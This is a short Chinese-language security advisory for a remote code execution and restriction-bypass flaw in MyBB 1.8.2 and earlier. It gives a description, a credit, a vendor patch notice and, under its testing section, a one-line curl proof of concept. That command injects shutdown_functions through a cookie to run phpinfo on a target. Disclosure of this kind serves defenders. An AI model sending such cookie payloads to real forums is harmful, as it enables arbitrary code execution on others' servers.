发布日期：2014-03-06
更新日期：2014-11-26

受影响系统：

MyBB MyBB

描述：

---

BUGTRAQ  ID: 71273

MyBB是一个功能完整并且非常实用的论坛软件。

MyBB 1.8.2及之前版本上存在远程代码执行漏洞及安全限制绕过漏洞，攻击者可利用这些漏洞在受影响应用上下文中执行任意代码并绕过安全限制。

<*来源：Taoguang Chen
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

curl --cookie &quot;GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1&quot; http://www.example.com/

建议：

---

厂商补丁：

MyBB
----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.mybb.com/

浏览次数：1908
严重程度：0（网友投票）